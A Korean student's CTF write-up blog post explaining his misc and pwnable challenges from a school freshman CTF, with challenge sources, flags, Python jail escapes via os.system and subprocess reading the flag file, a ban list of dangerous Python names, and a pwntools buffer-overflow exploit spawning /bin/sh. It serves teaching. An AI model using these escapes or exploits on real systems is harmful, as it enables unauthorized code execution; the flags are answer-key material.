[2025 DIMI CTF Write Up] - Prob by pandas. with ํ›„๊ธฐ

2025. 3. 25. 23:04ยทCTF

# Intro. 

์•ˆ๋…•ํ•˜์„ธ์š”. ํ•œ๊ตญ๋””์ง€ํ„ธ๋ฏธ๋””์–ด๊ณ ๋“ฑํ•™๊ต 23๊ธฐ ์›น ํ”„๋กœ๊ทธ๋ž˜๋ฐ๊ณผ์— ์žฌํ•™์ค‘์ด๊ณ , ํ•ดํ‚น๋™์•„๋ฆฌ STEALTH์—์„œ ํ•ดํ‚น์„ ๊ณต๋ถ€ํ•˜๊ณ 

์žˆ๋Š” pandas, ๊น€์ค€์›์ž…๋‹ˆ๋‹ค.

ใ„ด ๋””์ฝ”๋ฐฉ์— ์žˆ๋Š” ์ด ์‚ฌ๋žŒ์ž…๋‹ˆ๋‹ค

2025.03.05~2025.03.26, ์ •ํ™•ํžˆ 3์ฃผ๊ฐ„ ์ง„ํ–‰๋œ "๋””๋ฏธ๊ณ  24๊ธฐ ์‹ ์ž…์ƒ ๋Œ€์ƒ CTF"๋ฅผ ์ฃผ์ตœํ•˜๋ฉฐ ์ œ๊ฐ€ ์ถœ์ œํ•œ ๋ชจ๋“  ๋ฌธ์ œ์— ๋Œ€ํ•œ ํ’€์ด ๋ฐฉ๋ฒ•, ์ฆ‰ Write Up์„ ๊ณต์œ ํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ๋ฌธ์ œ ์ œ์ž‘ ๋™๊ธฐ, ์•„์ด๋””์–ด, ๋ฌธ์ œ ์ทจ์•ฝ์ , ์ •์„ ํ’€์ด, ํ›„๊ธฐ ๋“ฑ๋“ฑ์˜ ๋‚ด์šฉ ์ „๋ถ€๋ฅผ ๊ณต์œ ํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค

CTF ์šด์˜์˜ ์‚ฌ์ „ ์ค€๋น„์™€ ์šด์˜์ค‘ ์šด์˜์ง„๋“ค๊ณผ์˜ ์žˆ์—ˆ๋˜ ๋ชจ๋“  ์ผ๋“ค์€ ๊ณต๊ฐœํ•˜๊ธฐ๋กœ ํ•ฉ์˜๊ฐ€ ๋˜์ง€ ์•Š์•˜์œผ๋‹ˆ, CTF ์šด์˜์— ๊ด€ํ•œ ๋‚ด์šฉ์€ ์ ์–ด๋‘์ง€ ์•Š์€ ์  ์ฐธ๊ณ  ๋ฐ”๋ž๋‹ˆ๋‹ค.

 

Misc์™€ pwnable ์ดํ•ฉ 9๋ฌธ์ œ๋ฅผ ์ถœ์ œํ•˜์˜€์Šต๋‹ˆ๋‹ค

๊ฐ์„คํ•˜๊ณ  ๋ฐ”๋กœ ํ’€์ด ๋“ค์–ด๊ฐ€๊ฒ ์Šต๋‹ˆ๋‹ค

๋งํˆฌ ์‚ด์ง ๋ฐ”๊พธ๊ฒ ์Šต๋‹ˆ๋‹ค,,,

 

# 0x01. Can You See M3? - MISC - easy

solve : 57 / score : 100

 

- ์ œ์ž‘ ๋ฐฐ๊ฒฝ

์ œ๊ฐ€ ์ฒ˜์Œ MISC๋กœ ์ถœ์ œํ•œ ๋ฌธ์ œ์ด๋‹ค

H4CKING GAME์˜ https://h4ckingga.me/challenges#Season1%20:%20Paint-16์ด ๋ฌธ์ œ๋ฅผ ๋ณด๊ณ  ์•„์ด๋””์–ด๋ฅผ ์–ป์—ˆ๋‹ค

๋‹น์‹œ ์ € paint๋ฌธ์ œ๋ฅผ ํ’€์—ˆ์„ ๋•Œ, ๋‚œ์ด๋„๋„ ์‰ฝ๊ณ , ํ’€์ด ๋ฐฉ์‹์ด ์ฐธ์‹ ํ•ด์„œ ์ด ๋ฌธ์ œ๋ฅผ ๋‚ด์•ผ๊ฒ ๋‹ค๋ผ๊ณ  ์ƒ๊ฐํ–ˆ๋‹ค

 

- ๋ฌธ์ œ ํŒŒ์ผ 

์ € ๊ฐ€๋ ค์ง„๊ฒƒ๋งŒ ์—†์• ๋ฉด ๋œ๋‹ค

- ํ’€์ด

๋‹ค์–‘ํ•œ ํ’€์ด๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€๋Š” ๋ชจ๋ฅด๊ฒ ์ง€๋งŒ, ์‚ฌ์ง„ ํŽธ์ง‘ํ•ด์„œ ํ‘ธ๋Š”๊ฒŒ ์ธํ…์ด๋‹ค

1ํšŒ์ฐจ / 2ํšŒ์ฐจ
3๋ฒˆ์งธ์—๋Š” ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋ณด์ธ๋‹ค

Windows์˜ [์‚ฌ์ง„]์—์„œ ๊ทธ๋ƒฅ ์กฐ์ •๋งŒ ํ•ด์ฃผ์—ˆ๊ณ , ๋ฐ๊ธฐ + ๋…ธ์ถœ + ๋Œ€๋น„๋งŒ ์˜ฌ๋ ค์ฃผ๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋ณด์ธ๋‹ค

DIMI{1_C4N_S2e_Fl4g}

 

- ํ›„๊ธฐ

๋งŽ์ด ํ’€์–ด์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค

์ถœ์ œํ•˜๊ณ  ๋ณด๋‹ˆ Fl4G์—์„œ l์ด 1์ธ์ง€ L์˜ ์†Œ๋ฌธ์ž์ธ์ง€ ๊ตฌ๋ถ„์ด ์กฐ๊ธˆ ์–ด๋ ค์šธ ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ๊ฐํ–ˆ์ง€๋งŒ, ์ด์ •๋„๋Š” ๋ช‡๋ฒˆ ์ฐ์–ด๋ณด๋ฉด ๋ ๊ฑฐ๋ผ๊ณ  ์ƒ๊ฐํ•˜๊ณ  ๋„˜์–ด๊ฐ”์Šต๋‹ˆ๋‹ค

 

# 0x02. GIT HUB - Misc - easy

solve : 58 / score : 100

- ์ œ์ž‘ ๋ฐฐ๊ฒฝ

์ด ๋ฌธ์ œ๋Š” ๋Œ€ํšŒ ๊ฐœ์ตœ ์ง์ „ ๋งŒ๋“ค์—ˆ๋‹ค

Misc๋ฅผ ๋” ๋งŒ๋“ค์ž๋Š” ๋ง์— ๋ถ€๋žด๋ถ€๋žด ์ƒ๊ฐํ•ด๋‚ธ๊ฑด๋ฐ, commit message๋ฅผ ์‚ฌ์šฉํ•ด์„œ ๋ฌธ์ œ๋ฅผ ๋งŒ๋“ค์–ด๋„ ์žฌ๋ฏธ์žˆ๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์— ๋งŒ๋“ค์—ˆ๋‹ค

๊ทธ๋ƒฅ ์ด๊ฑด Mic Check์— ์ด์–ด์„œ ์ ์ˆ˜๋ฅผ ์ฃผ๋Š” ๋ฌธ์ œ์˜€๋‹ค

 

- ๋ฌธ์ œ

https://github.com/rlajunwon/2025-DIMI-CTF ์ด๊ฒŒ ๋ฌธ์ œ์ด๋‹ค

- ํ’€์ด

๋ญ”๊ฐ€ ํ”Œ๋ž˜๊ทธ๋Š” ์•ˆ๋ณด์ธ๋‹ค

์ปค๋ฐ‹์ด ๋ช‡๊ฐœ ์žˆ์œผ๋‹ˆ ์šฐ์ธก ์ƒ๋‹จ์˜ [3 Commits]๋ฅผ ๋ˆŒ๋Ÿฌ๋ณธ๋‹ค

This is flag for you๋ฅผ ํด๋ฆญ์‹œ

์ด๊ฑด ๊ทธ๋ƒฅ github์— ๋Œ€ํ•ด์„œ ๋“ค์–ด๋งŒ ๋ด๋„ ๊ธˆ๋ฐฉ ํ’€ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ์˜€๋‹ค

DIMI{D0_you_kn0w?_h0w_toooooooooo_us2_g1t_hub???}

- ํ›„๊ธฐ

์‚ฌ์‹ค ๋Œ€์ถฉ ๋งŒ๋“  ๋ฌธ์ œ์˜€๊ณ , ๋Œ€์ถฉ ํ’€๋ฉด ๋˜๋Š” ๋ฌธ์ œ์ด๋‹ˆ ๊ทธ๋ฆฌ ์• ์ฐฉ์ด ๊ฐ€๋Š” ๋ฌธ์ œ๋Š” ์•„๋‹ˆ์˜€๋‹ค

๊ทธ๋ƒฅ ๋‚ ๋จน, ์ ์ˆ˜์ฃผ๋Š” ๋ฌธ์ œ์˜€๋‹ค

 

# 0x03. DIMI JAIL - Misc - easy

solve : 9 / score : 424

- ์ œ์ž‘ ๋ฐฐ๊ฒฝ

์›๋ž˜ ์ด ๋ฌธ์ œ๋Š” ๋‚ด๊ฐ€ ๋‚ผ ์ƒ๊ฐ์ด ์•„๋‹ˆ์˜€๋Š”๋ฐ, ํ•˜๋„ "MISC๋ฅผ ๋” ๋‹ฌ๋ผ"๋Š” ๋ง์ด ๋‚˜์™€์„œ 20๋ถ„๋งŒ์— ๊ธ‰ํ•˜๊ฒŒ ๋งŒ๋“  ๋ฌธ์ œ๋‹ค

๊ทธ๋ž˜์„œ ๋ฌธ์ œ๊ฐ€ ์ข€ ์ž˜๋ชป๋˜์—ˆ๋‹ค

 

- ๋ฌธ์ œ ํŒŒ์ผ

--Dockerfile๊ณผ flag๋Š” ๊ตณ์ด ์–ธ๊ธ‰ ์•ˆํ•จ--

# prob.py
print("I want to go HOME!!")
print("escape DIMI JAIL - 1!!")
command = input(">> ")

ban_list = [
    'flag', 'exec', 'system', 'eval', 'os', 'print', 'input', 'open', 'compile', 'globals', 'locals', 'vars', 'dir',
    'getattr', 'setattr', 'delattr', 'import', '__import__', 'sys',
    'socket', 'shutil', 'thread', 'threading', 'importlib', 'ctypes',
    'inspect', 'builtins', 'exit', 'quit',
    'mro', '__class__', '__globals__', '__code__',
    '__base__', '__func__', '__dict__', '__closure__'
]


if command in ban_list:
    print("Wait...what???")
    print("such a bad word!!!")
    quit()
else:
    exec(command)

 

- ํ’€์ด

์‚ฌ์‹ค ๊ทธ๋ƒฅ pyjail ๋ธ”๋กœ๊ทธ์— ์žˆ๋Š” ์ฝ”๋“œ ๋น„์Šทํ•˜๊ฒŒ ๋“ค๊ณ ์˜จ๋‹ค๊ณ  ํ–ˆ๋Š”๋ฐ, ๊ธ‰ํ•˜๊ฒŒ ๋งŒ๋“œ๋А๋ผ ํ•„ํ„ฐ๋ง์ด ์•ˆ๋˜์—ˆ๋‹ค๊ณ  ํ•œ๋‹ค

# import os; os.system("cat flag")

ํ•„ํ„ฐ๋ง์ด ์•ˆ๋˜๋‹ˆ ๊ทธ๋ƒฅ ์ด๋ ‡๊ฒŒ ๋šซ๋ฆฐ๋‹ค,,,,;;

 

DIMI{1_W4nt_t0_2scap3!!_3์›”๋‹ฌ์ธ๋ฐ___์ง‘๊ฐ€๊ณ ์‹ถ์–ด์š”}

 

 

# 0x04. DIMI JAIL revenge - Misc - easy

solve : 8 / score : 559

- ์ œ์ž‘ ๋ฐฐ๊ฒฝ

๋น ๋ฅด๊ฒŒ ๋‹ค๋ฅธ ์ถœ์ œ์ง„๋“ค์˜ ๋„์›€์„ ๋ฐ›์•„์„œ revenge๋กœ ๋งŒ๋“ค์—ˆ๋‹ค

์›๋ž˜๋Š” ๋‚ด๊ฐ€ ๋‚ธ ๋ฌธ์ œ๋ฅผ ์‚ญ์ œํ•˜๋ ค๊ณ  ํ–ˆ์ง€๋งŒ, ์ด๋ฏธ ํ’€์ด์ž๊ฐ€ ๋‚˜์™€์„œ,,ใ„ทใ„ท, ์–ด์ฉ” ์ˆ˜ ์—†์ด revenge๋ฅผ ๋งŒ๋“ค์—ˆ๋‹ค

 

- ๋ฌธ์ œ ํŒŒ์ผ

# prob.py
print("I want to go HOME!!")
print("escape DIMI JAIL - 1!!")
command = input(">> ")

ban_list = [
    'flag', 'exec', 'system', 'eval', 'os', 'print', 'input', 'open', 'compile', 'globals', 'locals', 'vars', 'dir',
    'getattr', 'setattr', 'delattr', 'import', '__import__', 'sys',
    'socket', 'shutil', 'thread', 'threading', 'importlib', 'ctypes',
    'inspect', 'builtins', 'exit', 'quit',
    'mro', '__class__', '__globals__', '__code__',
    '__base__', '__func__', '__dict__', '__closure__'
]


if command in ban_list:
    print("Wait...what???")
    print("such a bad word!!!")
    quit()
else:
    exec(command)

 

- ํ’€์ด

pyjail์€ ์ข€๋งŒ ๊ตฌ๊ธ€๋ง ํ•ด๋„ ํ’€๋ฆด ๊ฒƒ ๊ฐ™๊ธด ํ–ˆ๋‹ค

๊ทธ๋ฆฌ๊ณ  ํ’€์ด ๋ฐฉ๋ฒ•์ด ๊ต‰์žฅํžˆ ๋‹ค์–‘ํ•ด์„œ ๊ผญ ์ธํ…!์ด๋ผ๊ณ  ๊ณ ์ง‘ํ•  ๊ฒƒ๋„ ์—†๊ธด ํ•˜์ง€๋งŒ, ๋‚ด๊ฐ€ ์ƒ๊ฐํ•œ ํ’€์ด๋Š”

# import subprocess; subprocess.call(["cat", "./flag"])

subprocess๋กœ ํ‘ธ๋Š”๊ฑธ ์›ํ–ˆ๋‹ค

DIMI{์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค__์›๋ž˜_๋ฌธ์ œ์—_์–ธ์ธํ…_ํ’€์ด์™€_์ฝ”๋“œ๋ฅผ_์ž˜๋ชป์งœ์„œ_์ด์ƒํ–ˆ์Šต๋‹ˆ๋‹ค__์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค}

 

- ํ›„๊ธฐ

๋Œ€ํšŒ ๋ง‰๋ฐ”์ง€๋ผ ์ •์‹ ์„ ๋˜‘!๋ฐ”๋กœ ์•ˆ์ฐจ๋ ค์„œ ํฐ ์‹ค์ˆ˜๋ฅผ ํ•ด๋ฒ„๋ ธ๋‹ค

์ด ์ž๋ฆฌ์—์„œ ์‚ฌ๊ณผ์˜ ๋ง์”€์„ ๋‹ค์‹œ ๋“œ๋ฆฌ๋ฉฐ, ์•ž์œผ๋กœ๋Š” ๊ฒ€์ˆ˜๋ฅผ ๊ผผ๊ผผํžˆ ํ•˜๊ฒ ๋‹ค๋Š” ๋งˆ์Œ๊ฐ€์ง์œผ๋กœ ๋ฌธ์ œ ์ถœ์ œํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค,,,,

 

# 0x05. ๊ฐ€๋‚œํ•œ PANDAS - Misc - easy

solve : 16 / score : 100

- ์ œ์ž‘ ๋ฐฐ๊ฒฝ

์ด ๋ฌธ์ œ๋Š” ๊ฝค๋‚˜ ์• ์ฐฉ์ด ๊ฐ€๋Š” ๋ฌธ์ œ์ด๋‹ค

Misc๋ฌธ์ œ์—์„œ 'ํŠน์ • ๊ธˆ์•ก์„ ์–ป๊ธฐ ์œ„ํ•ด์„œ ์Œ์ˆ˜๋ฅผ ์ž…๋ ฅํ•œ๋‹ค๋˜์ง€, ์—„์ฒญ ํฐ์ˆ˜๋กœ overflow๋ฅผ ์ผ์œผํ‚ค๋‹ค๋˜์ง€'ํ•˜๋Š” ๋ฌธ์ œ๋ฅผ ์ข…์ข… ๋ณธ์ ์ด ์žˆ๋‹ค

์ด๋Ÿฐ ๋ฌธ์ œ๋ฅผ Misc๋ฅผ ๋‚ด๋ฉด ์ข‹๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์„ ํ•˜๊ธด ํ–ˆ์ง€๋งŒ, ๋„๋ฐ•? ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด 'PANDAS์˜ ์ˆ˜ํ–‰ํ‰๊ฐ€'๋ฌธ์ œ์™€ ๊ฒน์น  ๊ฒƒ ๊ฐ™์•„์„œ ๋ณด๋ฅ˜ํ–ˆ๋‹ค

(TooooooMI) ๊ทธ๋Ÿฌ๋˜ ์ค‘, ํ•„์ž๊ฐ€ ๋ฐฉํ•™์— ์—ฌํ–‰์„ ๊ฐ”๋Š”๋ฐ, ํ‚ค์˜ค์Šคํฌ๋กœ ์ฃผ๋ฌธ์„ ํ•˜๋˜์ค‘ "N๋นต"์ด๋ผ๋Š” ๊ธฐ๋Šฅ์„ ๋ณด๊ณ  "์‚ฌ๋žŒ์ด ์—„์ฒญ ๋งŽ์€๋ฐ, int๋กœ ํƒ€์ž…์„ ๊ด€๋ฆฌํ•œ๋‹ค๋ฉด???" ์ด๋ผ๋Š” ์ƒ๊ฐ์ด ๋‚ฌ๊ณ , ์ด๋ฅผ ํ™œ์šฉํ•ด์„œ ๋ฌธ์ œ๋ฅผ ๋‚ด์•ผ๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์„ ํ–ˆ๋‹ค

์ˆ™์†Œ์— ์˜ค์ž๋งˆ์ž ๋ฐ”๋กœ ๋š๋”ฑ ํ”„๋กœํ† ํƒ€์ž…์„ ๋งŒ๋“ค๊ณ  ์†”์งํžˆ ๋ฌธ์ œ ์ž˜๋ƒˆ๋‹ค๊ณ  ๊ฐํƒ„ํ–ˆ๋‹ค

 

์—ฌํ–‰๊นŒ์ง€ ๊ฐ€์„œ DIMI CTF ๋ฌธ์ œ ๋‚ผ ์ƒ๊ฐ์„ ํ–ˆ๋‹ค๋Š” ์ ์—์„œ ๊ธฐ์–ต์— ๋‚จ์•˜๋‹ค

 

- ๋ฌธ์ œ ํŒŒ์ผ

# prob.py
import random

class PandasRestaurant:
    def __init__(self):
        with open("flag", "r") as f:
            self.flag = f.read().strip()
        self.current_menu_list = []
        self.ordered_menu = []
        self.total_prize = 0

    def start_menu(self):
        print()
        print("[1] Rules")
        print("[2] Menu")
        print("[3] Order")
        print("[4] Pay")

    def rule(self):
        print("================== Goals ==================")
        print("Your goal is to make PANDAS pay nothing")
        print("if PANDAS pay NOTHING, PANDAS will give present for you!")
        print("GOOD LUCK :D!")
        print("===========================================\n")

    def menu(self):
        food = [
            "Hamburger","Pizza","Pasta","Salad","Sandwich","Steak",
            "Fried Chicken","Tacos","Hot Dog","Sushi","Spaghetti",
            "Fish and Chips","Grilled Cheese","Burrito","Ramen",
            "Curry","Noodles","French Fries","Waffles","Pancakes"
        ]
        menu_list = [0] * random.randint(3, random.randint(5, 8))
        for i in range(len(menu_list)):
            menu_list[i] = (
                food[random.randint(0, len(food)-1)],
                random.randint(1, 9)*10
            )
            print(f"{i+1} - {menu_list[i][0]} : {menu_list[i][1]}$")
        return menu_list

    def order(self):
        self.people = int(input("> How many people? : "))
        if self.people <= 0:
            print("Are You Ghost??")
            quit()
        self.ordered_menu = []
        while True:
            select = int(input("> What do you want? : "))
            if select > len(self.current_menu_list) or select <= 0:
                print("Error")
                quit()
            else:
                self.ordered_menu.append(self.current_menu_list[select-1])
                print(f"{self.current_menu_list[select-1][0]} - {self.current_menu_list[select-1][1]}$ Ordered\n")
                if input("> Do you need more? [y/n] : ") == "n":
                    break

    def pay(self):
        self.total_prize = sum(item[1] for item in self.ordered_menu)
        print(f"> Total prize is {self.total_prize}$")
        self.pandas_prize = int(self.total_prize/self.people)
        print(f"# Pandas prize is {self.pandas_prize}$")

        if self.pandas_prize == 0:
            print("WOW! Pandas don't need to pay!!")
            print(self.flag)
            quit()
        else:
            print("No...Pandas is poor")
            quit()

    def run(self):
        while True:
            self.start_menu()
            start_menu_select = int(input(" > "))
            if start_menu_select == 1:
                self.rule()
            elif start_menu_select == 2:
                self.current_menu_list = self.menu()
            elif start_menu_select == 3:
                if not self.current_menu_list:
                    print("View menu [2] first!")
                else:
                    self.order()
            elif start_menu_select == 4:
                self.pay()
            else:
                print("Error")
                quit()

if __name__ == "__main__":
    prob = PandasRestaurant()
    prob.run()

 

- ํ’€์ด

๋ฌธ์ œ ์ฝ”๋“œ๊ฐ€ ๋”๋Ÿฝ๋‹ค

์‚ฌ์‹ค ํ”„๋กœํ† ํƒ€์ž…์€ 10์ค„๋กœ ๋๋‚ฌ๋Š”๋ฐ, ๊ทธ๋Ÿฌ๋ฉด ์ทจ์•ฝ์ ์ด ๋„ˆ๋ฌด ์ž˜ ๋ณด์—ฌ์„œ ์ผ๋ถ€๋กœ class๋„ ์“ฐ๊ณ , ํ•จ์ˆ˜๋„ ์“ฐ๊ณ  ๋กœ์ง์„ ๋”๋Ÿฝ๊ฒŒ ๊ตฌํ˜„ํ•ด๋†“์•˜๋‹ค

ํ’€์ด๋Š” ๊ฐ„๋‹จํ•˜๋‹ค

์‚ฌ๋žŒ์„ 99999999999๋ช…์ •๋„ ๋Œ€๋ ค์˜ค๊ณ , ๋ฉ”๋‰ด๋ฅผ ์•„๋ฌด๊ฑฐ๋‚˜ 1๊ฐœ ์‹œํ‚ค๋ฉด ๋œ๋‹ค

(pandas price) = int((menu price) / (people))๋กœ ๊ณ„์‚ฐ๋˜๋‹ˆ ๊ฐ€๊ฒฉ์ด 0.xxxxx์ด ๋˜์–ด๋„, 0์œผ๋กœ ์ฒ˜๋ฆฌ๊ฐ€ ๋œ๋‹ค

์•ฝ๊ฐ„ ์ˆ˜2์˜ ๊ทนํ•œ์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜๋ฉด ํŽธํ•˜๋‹ค

 

DIMI{W0w!!_Good_J0b!!_๋ฌธ์ œ_์ฝ”๋“œ๊ฐ€_๋”๋Ÿฝ์ฃ ?_์–ด์งœํ”ผ_์ œ๊ฐ€_๋ถ„์„ํ• ๊ฒŒ_์•„๋‹ˆ๊ฑฐ๋“ ์š”ใ…‹ใ…‹_์Œ์‹์ _ํ‚ค์˜ค์Šคํฌ์—์„œ_์ฃผ๋ฌธํ•˜๋‹ค๊ฐ€_์ด_๋ฌธ์ œ์˜_์•„์ด๋””์–ด๊ฐ€_๋– ์˜ฌ๋ž๋‹ต๋‹ˆ๋‹ค_h4HAh4_์ด์ƒ_๋ฌธ์ œ_tmi์˜€์Šต๋‹ˆ๋‹ค}

 

- ํ›„๊ธฐ

์ผ๋ถ€๋กœ class, def, self, logic์„ ๋”๋Ÿฝ๊ฒŒ ๊ตฌํ˜„ํ•˜๋‹ค๋ณด๋‹ˆ ์ƒ๊ฐ๋ณด๋‹ค ํ’€์ด์ž๊ฐ€ ์ ์—ˆ๋‹ค

์ด๋Ÿฐ ๋ฌธ์ œ๋Š” ๊ทธ๋ƒฅ ์‹คํ–‰์‹œ์ผœ๋ณด๋ฉด์„œ ํ‘ธ๋Š”๊ฒŒ ๊ฐ€์žฅ ์ข‹์„ ๊ฒƒ ๊ฐ™๋‹ค

๋˜ํ•œ flag๊ฐ€ ์ƒ๋‹นํžˆ ๊ธธ๋‹ค

TMI๋ฅผ ๋„ฃ๋‹ค๋ณด๋‹ˆ, ๊ธธ์–ด์กŒ๊ณ , ์ด๋กœ ์ธํ•ด์„œ ํ”Œ๋ž˜๊ทธ๊ฐ€ 2์ค„์— ๊ฑธ์ณ์„œ ์ถœ๋ ฅ๋ ์‹œ, ๊ณต๋ฐฑ์ด ์ถ”๊ฐ€๋˜์–ด flag์ธ์ฆ์ด ์•ˆ๋˜๋Š” ๋ฌธ์ œ๋„ ๋ฐœ์ƒํ–ˆ๋‹ค

์ด๋ž˜์„œ ๋‚ด๊ฐ€ ๋ฐ›์€ ํ‹ฐ์ผ“๋งŒ,,,์ข€ ๋งŽ์•˜๋‹ค,,,

๋‹ค์Œ๋ถ€ํ„ฐ๋Š” ํ”Œ๋ž˜๊ทธ ๊ธธ์ด๋ฅผ ์งง๊ฒŒ ์ ๋‹นํžˆ ํ•ด์•ผ๊ฒ ๋‹ค

 

# 0x06. SYSTEM - PWN - easy

solve : 6 / score : 775

- ์ œ์ž‘ ๋ฐฐ๊ฒฝ

pwnable์— ๋Œ€ํ•ด์„œ ์•„๋ฌด๊ฒƒ๋„ ๋ชฐ๋ผ๋„ ํ’€ ์ˆ˜ ์žˆ๋„๋ก ๋ฌธ์ œ๋ฅผ ์ถœ์ œํ•˜์˜€๋‹ค

pwnable์ด ๊ถ๊ทน์ ์œผ๋กœ ๋ฌด์—‡์„ ํ•˜๋Š”์ง€, C์–ธ์–ด์—์„œ๋Š” ์–ด๋–ป๊ฒŒ ๊ตฌํ˜„ํ•˜๋Š”์ง€๋งŒ ์•Œ๊ณ  ์žˆ์œผ๋ฉด ํ’€ ์ˆ˜ ์žˆ๋Š” ์‰ฌ์šด ๋ฌธ์ œ์ด๋‹ค

 

- ๋ฌธ์ œ ํŒŒ์ผ

dockerfile, flag๋Š” ํ•„์š”๋„ ์—†๊ณ , prob ELFํŒŒ์ผ์ด ์ฃผ์–ด์ง„๋‹ค

์ด๋ฅผ ida๋กœ ๋ถ„์„ํ•ด๋ณด์ž

IDA๋กœ ์—ด๊ณ , Decompileํ•œ C์–ธ์–ด ์ฝ”๋“œ

- ํ’€์ด

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด __isoc99_scanf๋ผ๋Š” ํ•จ์ˆ˜๋Š” ๊ทธ๋ƒฅ scanfํ•จ์ˆ˜์ด๋‹ค

๋”ฐ๋ผ์„œ "์ž…๋ ฅ์„ ๋ฐ›์€ ๋ช…๋ น์–ด๋ฅผ system()ํ•จ์ˆ˜๋กœ ์‹คํ–‰ํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ"์ด๋‹ค

pwnable์ด ๋ฌด์—‡์ธ๊ฐ€? ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ํš๋“ํ•˜๋Š” ๊ฒƒ์ด๋‹ค

๊ทธ๋Ÿผ ์–ด๋–ป๊ฒŒ ํ•˜๋Š”๊ฐ€? system("/bin/sh")๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋œ๋‹ค

๋”ฐ๋ผ์„œ ์ž…๋ ฅ์— /bin/sh๋งŒ ์ž…๋ ฅํ•˜๋ฉด ๋œ๋‹ค

DIMI{Sy2t2m_b1n_sh31l}

- ํ›„๊ธฐ

์‚ฌ์‹ค ์ด๊ฑด ์ง„์งœ ํ’€๋ผ๊ณ  ๋งŒ๋“  ๋ฌธ์ œ์ธ๋ฐ, ์–ด๋ ต๋‹ค๊ณ  ํ•ด์„œ ๋†€๋ž๋‹ค

BOF๊ฐ€ ๋” ๋งŽ์ด ํ’€๋ฆฐ๊ฒŒ ์‹ ๊ธฐ?ํ•˜๋‹ค

์•„๋งˆ๋„ c์–ธ์–ด ์ฝ”๋“œ๋ฅผ ์•ˆ์ค˜์„œ, IDA๋กœ ๋””์ปดํŒŒ์ผ ํ•˜๋Š”๋ฐ์„œ ๋งŽ์ด ์–ด๋ ค์›Œํ•œ๊ฒƒ ๊ฐ™๋‹ค

C์ฝ”๋“œ๋ฅผ ์ œ๊ณตํ•˜์˜€์œผ๋ฉด, mic check๊ธ‰ ๋‚ ๋จน๋ฌธ์ œ๊ฐ€ ๋˜์—ˆ์„ ๊ฒƒ ๊ฐ™๋‹ค

 

# 0x07. EASY - PWN - easy

solve : 3 / score : 964

- ์ œ์ž‘ ๋ฐฐ๊ฒฝ

pwnable์—์„œ ๊ฐ€์žฅ ์‰ฌ์šด ์ทจ์•ฝ์ ์ด ๋ญ˜๊นŒ? BOF์™€ rao์ด๋‹ค

๊ทธ๋ž˜์„œ ๊ทธ๊ฑธ ๊ทธ๋Œ€๋กœ ๊ตฌํ˜„ํ–ˆ๋‹ค

 

- ๋ฌธ์ œ ํŒŒ์ผ

// prob.c
#include <stdio.h>
#include <unistd.h>

void Init() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void exploit(){
	execve("/bin/sh", 0, 0);
}

int main(){
    char buf[0x10];
    Init();
    printf("==== Don't be afraid! PWNABLE is EASY!! ====\n");
    scanf("%s", buf);
}

ELFํŒŒ์ผ๋„ ์ค€๋‹ค

๋ณดํ˜ธ๊ธฐ๋ฒ• ๋‹ค ํ•ด์ œํ•ด์„œ ์ปดํŒŒ์ผ ํ•ด์คฌ๋‹ค

 

- ํ’€์ด

buf์— 0x10๋งŒํผ ํ• ๋‹นํ•œ๋‹ค

scanf๋กœ ์ œํ•œ์—†์ด ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋‹ค

scanf๋Š” ๊ฐœํ–‰ ๋ฌธ์ž๋ฅผ ๋งŒ๋‚˜๊ธฐ ์ „๊นŒ์ง€ ์ž…๋ ฅ์„ ๋ฐ›์œผ๋ฏ€๋กœ, buf์— ํฐ ๊ฐ’์„ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค

๋”ฐ๋ผ์„œ Buffer Over Flow๊ฐ€ ํ„ฐ์ง€๊ณ , ์ดํ›„์˜ ret๋ฅผ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๋‹ค

์ •๋ฆฌํ•˜๋ฉด

1. buf๋Š” 0x10๋งŒํผ ํ• ๋‹น๋˜์—ˆ๋‹ค
2. ํ•˜์ง€๋งŒ scanf๋กœ ์ œํ•œ ์—†์ด ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค
3. buf์— ํฐ ๊ฐ’์„ ์ž…๋ ฅํ•˜๊ฒŒ ๋˜๋ฉด, ์ดํ›„์˜ ํ•จ์ˆ˜์˜ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค (ํ”„๋กœ๊ทธ๋žจ์˜ ์‹คํ–‰ ํ๋ฆ„ ์กฐ์ž‘ ๊ฐ€๋Šฅ)
4. ๊ทธ๋Ÿผ ํ•จ์ˆ˜์˜ ๋ฐ˜ํ™˜ ์ฃผ๋กœ๋ฅผ exploit()ํ•จ์ˆ˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ํ•˜๋ฉด ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค
# exploit.py
from pwn import *

# p = process("./prob")
PORT = 31337
p = remote("dimictf.lol", PORT)
e = ELF("./prob")

context.arch = "amd64"

payload = b'A'*0x10
payload += b'B'*0x8
payload += p64(e.symbols['exploit'])

p.sendline(payload)
p.interactive()

